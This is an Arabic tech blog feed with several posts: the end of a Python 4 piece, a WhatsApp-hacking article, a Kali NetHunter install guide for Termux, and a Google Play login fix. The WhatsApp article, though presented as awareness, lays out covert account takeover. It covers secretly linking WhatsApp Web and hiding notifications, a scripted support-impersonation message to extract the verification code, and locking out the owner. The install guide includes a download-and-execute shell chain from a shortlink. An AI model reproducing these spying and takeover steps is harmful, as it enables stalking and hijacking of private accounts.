و وصف منشئ Python أيضًا كيف بدأت Python في السنوات الأخيرة في النظر إلى TypeScript كمحدد للمكان الذي يمكن أن تتجه إليه الأشياء و قال: "ربما لاحظت أنه في الماضي ، ست أو سبع سنوات كنا نضيف كتابة ثابتة اختيارية إلى لغة بايثون ، والمعروفة أيضًا باسم الكتابة التدريجية" ، "لم أكن على دراية بـ TypeScript عندما بدأنا هذا المشروع ، لذا لا يمكنني القول أننا استلهمنا من TypeScript في البداية ، في الوقت الحاضر ، ننظر بالتأكيد إلى TypeScript للحصول على أمثلة ونقترح أحيانًا ميزات جديدة لأننا نعلم أن بعض الميزات كانت في البداية تفتقر إلى Typescript ، ثم تمت إضافتها بناءً على طلب المستخدم وكانت ناجحة جدًا ".

قال فان روسوم إن بايثون لا تزال تحاول اكتشاف كيفية إعادة إنشاء بعض هذه النجاحات ، و [TypeScript] قام بأشياء قليلة لا تزال بايثون تنتظر اكتشافها ، و "من محادثاتي مع Anders ، يبدو أن TypeScript يتعلم أيضًا من Python ، تمامًا كما تعلم JavaScript من Python في مناطق قليلة."

ختاماً هذا كل شيء بخصوص Python 4 ، فكما اتضح لكم الأمر بأنه لا يمكن لـ لغة بايثون أن تصل الى الإصدار الرابع أو Python4 ، و سيستمر التطوير الى ما لا نهاية ، أتمنى أن تكون قد استفدت من هذا الموضوع و شكراً لك على حسن زياراتك لنا .

التجسس و اختراق واتساب بأكثر من طريقة كيف يتم ذلك

noreply@blogger.com (Ammar Ahmad) — Tue, 07 Dec 2021 13:20:00 +0000

التجسس و اختراق واتساب بأكثر من طريقة كيف يتم ذلك

مرحباً و أهلاً و سهلاً بكم في موقع القرصان الإلكتروني للتعليم ، سنتكلم اليوم حول اختراق تطبيق واتساب و الوصول الى المحادثات الخاصة به أو حتى التجسس على واتس اب بأكثر من طريقة و كيف تتم هذه الخطوات و كيف يستغلها الهاكرز .

تحذير : نحن لسنا مسؤولين عن أي شيء قد يلحق الضرر بالآخرين ، بل إنما هذا الشرح من باب التوعية الأمنية و أخذ الحذر لحماية نفسك .

اختراق واتساب

يعتبر تطبيق الواتساب WhatsApp Messenger أشهر تطبيقات التواصل في العالم ، حيث يعد التطبيق رقم واحد على العالم في التواصل و المراسلة ، و قد وصل الى عدد تحميلات كبيرة يتجاوز الواحد مليار عملية تنزيل في متجر غوغل بلاي ، عداك عن باقي المتاجر ، و أصبح كل شخص في العالم يستخدم تطبيق واتساب ، فلذلك أصبح واتساب هدف كبيراً للهاكرز و المخترقين ، فدائماً ما نسمع بعمليات اختراق و قرصنة يتعرض له التطبيق ولا سيما في الأوان الأخيرة ، فلقد تم اختراق التطبيق من خلال ثغرة خطيرة جداً يمكنك التعرف عليها من المقال التالي ثغرة خطيرة في واتساب تمكن المخترقين من سرقة البيانات سراً 2019 Whatsapp News ، و أيضاً تعرض واتساب لهجمة إلكترونية عنيفة تسببت في إيقافه عن العمل ، والعديد من الاختراقات و التي تحصل له بشكل مستمر ، و لكن أغلب هذه العمليات تبنى على خطوات و بحث و دراسة عن ما يتكون منه هذا التطبيق و كيف يعمل ، حتى يتم إجاد نقطة ضعف او ثغرة في السوفت وير لهذا التطبيق و يتم استغلالها .

كيف يتم اختراق واتساب عن بعد

يبحث الكثير بشكل يومي عن كيف يتم اختراق الواتساب ، و يتسألون عن إذا كان بالإمكان لأي شخص أن يقوم باختراق الواتساب الخاص بي او الواتساب الخاص بصديقي حتى عن بعد ، و في الحقيقة نعم ، فإنه يمكن لأي شخص أن يقوم بالتجسس على الواتساب أو اختراقه بخطوات سنذكر أهمها .

اختراق الواتساب من خلال الحصول على هاتف الضحية

في هذه الطريقة كل ما يحتاجه الشخص الهاكر أو المخترق هو القيام بالوصول الى هاتف الشخص المستهدف ، فإذا كان يستطيع الوصول الى هاتف الضحية سيكون بإمكانه أن يتجسس على جميع الرسائل و الصور و الصوتيات و المكالمات في واتساب ، بل و حتى القيام بإرسال الرسائل أو حذفها أو تغير الصورة الشخصية لهذا الرقم ، و ذلك من خلال خدعة بسيطة يقوم بها المخترق وهي استغلال خدمة تعرف بـ " واتساب ويب " ، و هي خدمة تقدمها شركة واتساب بشكل رسمي لاستعراض و استخدام الواتساب على جهاز الكمبيوتر بدلاً من الهاتف ، فمن خلال هذه الطريقة يمكنه أن يقوم بكل سهولة بأخذ الهاتف ، ثم الدخول الى اعدادات ثم الى واتساب ويب ، و القيام بتحميل تطبيق واتساب ويب على الكمبيوتر ثم مسح الـQRCode من الهاتف على الكمبيوتر ، و بعد ذلك يقوم بتعطيل إشعارات الواتساب من الكمبيوتر الى الهاتف ، حتى لا يشعر عليه المستهدف بأن هناك من يتجسس على رقمه في واتساب .

اختراق واتساب عبر الهندسة الاجتماعية عن بعد

في هذه العملية سيحتاج المهاجم الى معرفة بسيطة حول ذكاء و معرفة الهدف بالأمور التقنية ، و كذلك الى معرفة متوسطة في مجال الهندسة الاجتماعية ، حيث أنه بكل بساطة سيقوم بفتح رقم واتساب وهمي و القيام بتعين صورة تمثل شركة واتساب ، ثم وضع رقم الواتساب المراد اختراقه و التواصل معه و إقناعه بأن يرسل له الكود على سبيل المثال كأن يقول له " مرحباً نحن فريق الصيانة في شركة واتساب ، لقد اكتشفنا محاولات وصول غير مصرح بها لحسابك ، يرجى تزويدنا برقم الكود الذي سيصلك المكون من 6 أرقام " ، بعد ذلك سيقوم بفتح تطبيق واتساب آخر كتطبيقات واتساب المعدلة ، و إضافة رقم الضحية بها ثم طلب الكود ، و حينها سيقوم المستهدف بإعطائه الكود و سيحصل بهذه الطريقة على رقم الواتساب مع كامل المحادثات ، ثم سيقوم بوضع حماية له من خلال التحقق بخطوتين و لن يمكن لصحاب الرقم الأصلي الحصول عليه مرة أخرى .

اختراق واتساب عبر اختراق الجهاز عن بعد

هذه الطريقة تعتبر صعبة بعض الشيء حيث سيتوجب على الهاكر بأن يكون لديه خبرة كافية لاختراق الهاتف المحمول ، حيث أنه سيقوم بمراسلة الضحية ثم استدراجه حتى تتسنى له الفرصة لاختراق جهازه ، و لمعرفة كيف يتم اختراق الجهاز راجع الدرس السابق كيفية اختبار اختراق الاندرويد بالميتاسبلويت من ترمكس داخلياً ، و بعد أن يقوم باخترق الجهاز دون علم الهدف ، سيقوم الآن بتنفيذ الخطوات السابقة و هي إضافة رقم الضحية الى واتساب آخر ، بعد ذلك سوف يصل الكود الى هاتف الضحية ، حينها كل ما على المهاجم فعله هو إعطاء أمر لسحب جميع رسائل الـ SMS ، و سيحصل على رمز الكود و يستطيع التجسس على واتساب بالكامل .

اختراق واتساب عبر فك التشفير

تعتبر هذه الطريقة هي الأصعب بين الطرق ، حيث عند ارسال أي رسالة أو استقبال أي رسالة في تطبيق واتساب ، يتم حفظها في قاعدة بيانات داخل هاتفك ضمن مجلد الـ Whatsapp ، و باسم مجلد Data Bases ، و ذلك حتى تتمكن من الاطلاع على جميع الرسائل فيما بعد دون الحاجة الى الانترنت ، وهنا يقوم المهاجم باستغلال هذه الثغرة في تطبيق واتساب و يطبق الهندسة الاجتماعية على الشخص المستهدف ، و يقنعه بأن يقوم بإرسال ملف الـ داتابيس DataBases الخاص بتطبيق واتساب ، و بعد أن يقوم بالحصول على هذه الملفات سيتطلب منه الأمر أن يقوم بكسر شيفرة هذه الملفات حيث أنه تكون دائماً مشفرة بشكل تام بتشفير من نوع db.crypt14 ، و بعد فك التشفير سيتمكن من الاطلاع على جميع رسائل واتساب بما في ذلك تاريخ الارسال و الاستقبال و الصوتيات و مسار الصور على الانترنت .

كيف تحمي نفسك من اختراق واتساب

لحماية هاتفك أو حتى نفسك من طرق اختراق واتساب التي ذكرناها أو حتى التي لم نذكرها ، فالأمر لا يعتمد بنسبة كبيرة على اتباع خطوات معينة تنفذها داخل هاتفك أو جهازك او التطبيق نفسه ، بل إن 99% يعتمد الأمر عليك أنت نفسك ، حيث أن أغلب عمليات الاختراق باتت تعتمد على نسبة ذكاء الشخص و معرفته في هذا المجال ، فيجب عليك أن تبقى دائماً حذراً عند المواقف التي تشعر أنها غريبة ، و تبقى فطناً لكل ما تراه مشكوكاً في أمره ، كأن لا تضع هاتفك في أي مكان تشعر بأنه غير آمن ، ولا تعطي هاتفك لمن لا تثق به ، و تجنب إرسال أي أرقام أو رموز أو كلمات مرور أو حسابات يطلبها منك أشخاص مشكوك في أمرهم ، و كذلك الحال تجنب تثبيت أي تطبيقات غير مرغوب بها أو ليس لك بها حاجة أو النقر على صورة أو رابط يصلك عبر وتساب ، لأن كل هذه الملفات قابلة بأن يتم دمجها مع برمجيات ضارة تستغل نقاط الضعف في تطبيق الواتساب أو حتى جهازك مما يعني اختراق الواتساب بالكامل عن بعد .

فيديو مختصر حول أشهر الطرق للتجسس على واتس اب

كانت هذه أشهر طرق اختراق الواتساب التي ما زالت تستخدم في وقتنا الحالي فأنصحك باستخدام تطبيقات عالية الحماية أفضل من واتساب ، إذا رأيت هذا الشرح مفيد فضلاً شاركه مع أصدقائك و اكتب لنا رأيك في التعليقات ، و انتظرونا في الدرس القادم الذي سنتكلم فيه عن كيف تحمي نفسك من طرق اختراق الواتساب ، الى اللقاء .

ما هو Kali NetHunter و شرح تثبيته خطوة بخطوة بدون روت

noreply@blogger.com (Ammar Ahmad) — Fri, 03 Dec 2021 11:33:00 +0000

ما هو Kali NetHunter و شرح تثبيته خطوة بخطوة بدون روت

- مرحباً بكم مجدداً على قناة القرصان الإلكتروني للتعليم ، سنشرح لكم اليوم حول توزيعة كالي نت هانتر Kali Nethunter و سنتعرف على كيفية تحميل و تثبيت كالي لينكس نت هانتر على الجوال بدون روت ، وكما سنقوم بشرح جميع الخطوات التي تحتاجها لحل جميع المشاكل التي تواجهك أثناء تثبيت كالي على الاندرويد .

ملاحظة : هذا الدرس لأغراض تعليمية فقط ، و لا نتحمل المسؤولية في استخدامها لأشياء ضارة .

شرح Kali Linux NetHunter

كالي نت هانتر أو Kali Nethunter ، هو نسخة مطورة من كالي لينكس kali linux و لكنها مخصصة لأصحاب الهواتف ، و يوجد منها عدة إصدارات فهناك منها من تعمل على الأجهزة ذات الروت و الهواتف التي لا تمتلك روت ، و لها أيضاً العديد من الواجهات ، حيث يعتبر Kali nethunter مشابه جداً لكالي لينكس ، فهو عبارة عن نظام يحتوي على العديد من أدوات الهكر و الاختراق و كل ما يحتاجه الهكر الأخلاقي من برامج و أدوات و سكربتات ، وهو نظام مجاني و مفتوح المصدر و مبني باستخدام أقوى لغات البرمجة مثل بايثون و سي و جافا و كوتلن ، كما أنه يتبع لـ offensive-security و هي الشركة المطورة له و هو نسخة رسمية مطورة من قبلهم .

تثبيت NetHunter على الاندرويد

لتثبيت كالي نت هانتر على الأندرويد بدون روت ، تحتاج الى تثبيت تطبيق ترمكس أولاً ، حيث أننا سوف نقوم بتثبيت الكالي على termux ثم القيام بربطه مع تطبيق آخر وهو تطبيق NetHunter Kex ، و لكي تحصل على هذا التطبيق ستحتاج الى تثبيت NetHunter Store وهو عبارة عن متجر يحتوي على العديد من التطبيقات الخاصة باختبار الاختراق و ستجده متاح مجاناً على الموقع الرسمي لـ NetHunter من هنا ، و بعد تثبيته ابحث عن تطبيق نيت هانتر كيكس و ثبته .

شرح صور

تثبيت الكالي على termux

بعد تثبيت التطبيقات اللازمة ، قم بنسخ ولصق الأوامر التالية و لصقها داخل تطبيق ترمكس ليتم تحميل KaliNethunter على الأندرويد :

termux-setup-storage
pkg install wget
wget -O install-nethunter-termux https://offs.ec/2MceZWr
chmod +x install-nethunter-termux
./install-nethunter-termux

كيفية تثبيت كالي نت هانتر على الجوال

بعد اكتمال عملية التحميل و التثبيت لكالي نت هانتر سوف تظهر لك واجهة KALi

و هذا يعني أنه قد تم تثبيت كالي بالشكل الصحيح ، وللتأكد من ذلك سوف تقوم بكتابة الأمر التالي

nethunter

و سوف ينقلك الى التيرمنال الخاصة بكالي لينكس بدلاً من ترمكس ، ثم يمكنك استخدام الأمر

whoami

و سوف يرد لك بانك كالي ، و أيضاً يمكنك استخدام الأمر

uname

لعرض معلومات مفصلة حولة حزمة كالي نت هانتر التي تستخدمها في الوقت الحالي .

تحميل تطبيق Kali Linux nethunter للأندرويد من الموقع الرسمي

بعد تحميل kali linux nethunter للأندرويد من الموقع الرسمي و تثبيته على الهاتف ، لم يتبقى لك سوى بعض الخطوات التي يجب اتباعها من أجل تشغيل كالي لينكس على الأندرويد بدون مشاكل ، ولفعل هذا الأمر قم بكتابة الأوامر التالية بالترتيب :

apt update && upgrade -y
apt-get upgrade -y
apt-get full-upgrade -y
sudo apt-get full-upgrade -y
sudo apt-get full-upgrade -y

و عند كتابة الأمر الأخير سيطلب منك إدخال كلمة مرور ، قم بكتابة الكلمة التالي بحروف كبيرة KALI .

للعلم أيضاً هذه الأوامر تقوم بعمليات تحديث و ربما تحميل لبعض الأدوات و الحزم ، مما يعني بأنك بحاجة الى انترنت أثناء القيام بكتابة هذه الأوامر ، و قد تستغرق وقت طويل على حسب سرعة اتصال الانترنت عندك .

تشغيل كالي لينكس على الأندرويد

بعد الانتهاء من كتابة الأوامر السابق ، لم يتبقى لنا سوى خطوة أخيرة و هي ضبط كلمة المرور لنظام كالي و تشغيل الواجهة ، وللقيام بذلك سوف نقوم بكتابة الأمر

kex password

و سوف يطلب منا تعين كلمة مرور ضع كلمة مرور مكونة من مزيج من 6 رموز و أكثر ثم أعد كتابته مرة أخرى ، و حينها سوف تظهر لك رسالة قم بالضغط على حرف Y ، و قم بإعادة إدخال كلمة المرور التي قمت بتعينها مسبقاً .

بعد الانتهاء من تعين كلمة المرور ، سوف يعرض لك معلومات الاتصال الخاصة بـ السيرفر الذي ستخدمها في عملية الاتصال بواجهة كالي ، و كل ما عليك حفظه من هذه المعلومات هو رقم المنفذ أو البورت PROT لأننا سنحتاج الى وضعه في تطبيق nethunter kex فيما بعد .

تشغيل kali nethunter

للقيام بعرض nethunter على الجوال اتبع الأوامر التالي :

cd /home/kali/.vnc
rm -fr xstartup
vncserver

و الآن قد انتهينا تقريباً من جميع الأوامر ، سوف نقوم بالتوجه الى تطبيق نيت هانتر كيكس ، و نقوم بفتحه و ترك كل شيء على ما هو عليه ، و القيام فقط بتغير المنفذ او البورت و استبداله بالبورت الذي حصلنا عليها من التيرمنال سابقاً و ضع كلمة المرور التي قمنا بتعينها مسبقاً ايضاً ، ثم نضغط على اتصال او connect .

و الآن إن وصلت الى هذا السطر فأهنك يا صديقي فلقد قمت بتحميل و تثبيت كالي لينكس على الأندرويد بدون روت و حللت جميع المشاكل التي قد تواجهك في المستقبل .

معلومات أخرى لاستخدام كالي nethunter

بإمكانك استخدام كالي لينكس أو كالي نت مباشرة من خلال تطبيق ترمكس termux بدون الحاجة الى تشغيل الواجهة أو سطح المكتب لكالي ، و ذلك من خلال كتابة الأمر التالي في ترمكس :

nethunter

و حينها سوف ينقلك من ترمكس الى كالي و بإمكانك استخدام جميع الأوامر و الأدوات مباشرة من تطبيق ترمكس مثل تشغيل أداة ميتاسبلويت أو nmap أو حتى wifite .

متطلبات تشغيل Kali NetHunter

حجم التنزيل لنظام Kali Nethunter هو 1.6 غيغابايت تقريباً ، و عند التثبيت سوف يمتد الى 8 غيغابايت ، فأنت بحاجة الى مساحة 10 غيغابايت فهي كافية .

شرح تثبيت Kali NetHunter على الأندرويد بالفيديو

كان هذا كل شيء بخصوص كالي لينكس أو كالي نت هانتر الخاصة بالهاتف ، إذا أعجبك الشرح فضلاً شاركه مع أصدقائك و ادعمنا بإعجاب فهو يشجعنا على نشر المزيد من الشروحات لكم ، و أيضاً إذا واجهتك مشكلة في عملية التثبيت اتركها في التعليقات و سنرد عليها إن شاء الله ، و نراكم في درس جديد .

تحميل ملف الأوامر

الحل النهائي لمشكلة تعذّر تسجيل الدخول لحساب جوجل

noreply@blogger.com (Ammar Ahmad) — Thu, 04 Nov 2021 16:24:00 +0000

حل مشكلة تعذّر تسجيل الدخول لحساب جوجل

مرحباً و أهلاً بكم من جديد في موقع و قنوات القرصان الإلكتروني للتعليم ، موضوعنا اليوم يتحدث عن حل مشكلة تعذر تسجيل الدخول لحساب جوجل وتحديداً لحل مشكلة متجر غوغل بلاي ، بدون استخدام أي برامج خارجية أخرى أو برامج vpn .

حل مشكلة تعذر تسجيل الدخول لحساب جوجل

تحدث مشكلة " تعذر تسجيل الدخول حدثت مشكلة في الاتصال بخوادم Goolge " لأسباب عديدة و سنذكر أهمها و التي ستساعدكم في حل هذه المشكلة ، حيث أن العديد من الأشخاص يبحثون عن حل للمشكلة كيف ماكان ، بل و إن الأغلب يقوم بتبديل هاتفه بسبب هذه المشكلة التي لم يجد لها حل ، و لكن في الحقيقة هي مشكلة تافهة جداً و حلها بأبسط ما تتوقع .

حل مشكلة عدم تسجيل الدخول في google play

عند شراء جهاز جديد أو حتى مستعمل ، و بعد أن يتم عمل سوفت وير له و تحاول تشغيل متجر غوغل بلاي أو حتى محاولة تسجيل الدخول أو إنشاء حساب تتفاجئ بظهور رسالة تخبرك " تعذر تسجيل الدخول حدثت مشكلة في الاتصال بخوادم Goolge ، أعد المحاولة لاحقاً " أو باللغة الإنجليزية " Unable to sign in There was a problem connecting to the Google servers, try again later " ، رغم أنك متصل بالإنترنت و جهازك جديد ، و مع ذلك تظهر لك هذه الرسالة بغض النظر كنت من مستخدمي أجهزة سامسونج أو ريديمي أو حتى انفينكس .

كيفية حل مشكلة تعذر تسجيل الدخول لحساب جوجل

لحل مشكلة تعذر تسجيل الدخول في الجوال ، ستحتاج الى اتباع خطوتين هامتين لحل هذه المشكلة وهما :

1 - التأكد من ضبط التاريخ و الوقت :

- سبب هذه المشكلة هو ربما يكون الخطأ في التاريخ و الوقت ، حيث أنهما قد يكونا غير مضبوطين على الوقت و التاريخ الصحيح ، و لضبطهما بالشكل الصحيح اتبع الشرح التالي بالصور من خلال " الاعدادات ".

ثم الى " الإعدادات الإضافية " .

بعد ذلك الى " التاريخ و الوقت " .

ثم قم بتفعيل خيار " استخدام وقت الشبكة " أو أن تقوم بضبطهما يدوياً .

حل مشكلة خدمات جوجل

2 - محو البيانات لتطبيق خدمات جوجل أو ما يعرف بـ google play services :

- إذا لم يؤدي التاريخ و الوقت أي مفعول أو حل لهذه المشكلة ، سوف نتبع الطريقة التالية لحلها و ذلك من خلال التوجه الى " الإعدادات " مجدداً .

ثم الى " التطبيقات " .

ثم الى " إدارة التطبيقات " .

و نقوم بالبحث عن تطبيق " خدمات Google Play " ، ثم النقر عليه .

بعدها نقوم بالنقر على " التخزين " ثم " مسح البيانات " .

بعد ذلك نختار " إدارة المساحة " .

و ننقر على " محو جميع البيانات " .

و بهذه الطريقة سوف تكون قد حللت هذه المشكلة المزعجة ، حيث أن السبب الرئيسي غالباً هو في البيانات التي يتم تجميعها في تطبيق " خدمات غوغل " و يتم حدوث أخطاء في هذه البيانات أو تعليق ، فتحتاج الى محو هذه البيانات و كل شيء سيكون على ما يرام .

إذا كان الشرح الكتابي صعب بالنسبة لك ، يمكنك مشاهد الشرح بالفيديو التالي لحل مشكلة تعذّر تسجيل الدخول .

في الختام شكراً لك على هذه الزيارة الطيبة لنا ، و نتمنى بأن تنضم مع متابعينا في يوتيوب وتكون فرداً من هذا الفريق الرائع ليصلك الجديد أولاً بأول ، و إن كان الشرح فعالً معك شاركه لغيرك لكي يستفيد و الى اللقاء في شرح قادم .